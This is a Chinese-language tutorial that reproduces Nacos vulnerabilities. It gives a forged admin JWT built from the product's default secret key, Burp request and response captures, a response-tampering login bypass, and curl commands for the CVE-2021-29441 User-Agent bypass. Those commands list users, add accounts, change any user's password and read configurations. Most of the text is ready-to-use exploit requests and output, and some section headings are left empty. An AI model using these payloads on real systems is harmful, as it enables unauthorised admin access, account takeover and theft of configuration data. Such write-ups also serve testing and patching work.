漏洞总结复现
Nacos漏洞总结复现
一、Nacos默认key导致权限绕过登陆
0x00 漏洞描述
0x01 漏洞影响
0x02 漏洞搜索
0x03 漏洞复现
在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
利用该默认key可进行jwt构造,直接进入后台,构造方法:
在https://jwt.io/中:输入默认key:
SecretKey012345678901234567890123456789012345678901234567890123456789
然后再payload里面输入:
{
"sub": "nacos",
"exp": 1678899909
}
在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:
注意:
以下是伪造JWT值绕过权限的测试结果
1、延长时间戳,POST 密码错误,用户名正确 ✅
2、延长时间戳,POST 密码错误,用户名错误 ✅
3、删除时间戳,POST 密码错误,用户名错误 ✅
复制上面得到的值,在burp里面选择登录之后构造:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
方框里面需要自行添加:
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 10.211.55.5:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
username=crowsec&password=crowsec
此时就得到了token信息:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed, 15 Mar 2023 14:13:22 GMT
Connection: close
Content-Length: 197
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
此时就得到了nacos的token信息。
如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:
这肯定进不去的,在这里修改返回包,右键看下这个:
然后Forward,这边返回的信息肯定是无效的:
在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:
再forward一次:
此时就已经进去了:
GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s&pageNo=1&pageSize=9 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Connection: close
If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
Upgrade-Insecure-Requests: 1
accessToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
4.利用默认密钥,添加hellonacos用户密码为hellonacos,创建成功
二、Nacos默认配置未授权访问漏洞
三、 Nacos2.2.0权限绕过
四、Nacos1.x.x版本User-Agent权限绕过((CVE-2021-29441)
0x01 漏洞描述
0x02 环境搭建
0x03 漏洞影响
0x04 漏洞复现
1.修改User-Agent的值为Nacos-Server到请求包中,添加Header头后访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9可以看到返回值为200,且内容中是否包含pageItemsGET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1 Host: 192.168.246.138:8848 User-Agent: Nacos-Server或者使用命令访问:读取用户密码:curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H 'User-Agent: Nacos-Server'curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'
curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'未授权添加用户curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server任意用户密码更改curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'读取配置文件curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户,账号密码都为vulhubPOST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1 Host: 192.168.246.138:8848 User-Agent: Nacos-Server或者POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.64:8848Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Nacos-ServerAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 27username=hglight&password=hglight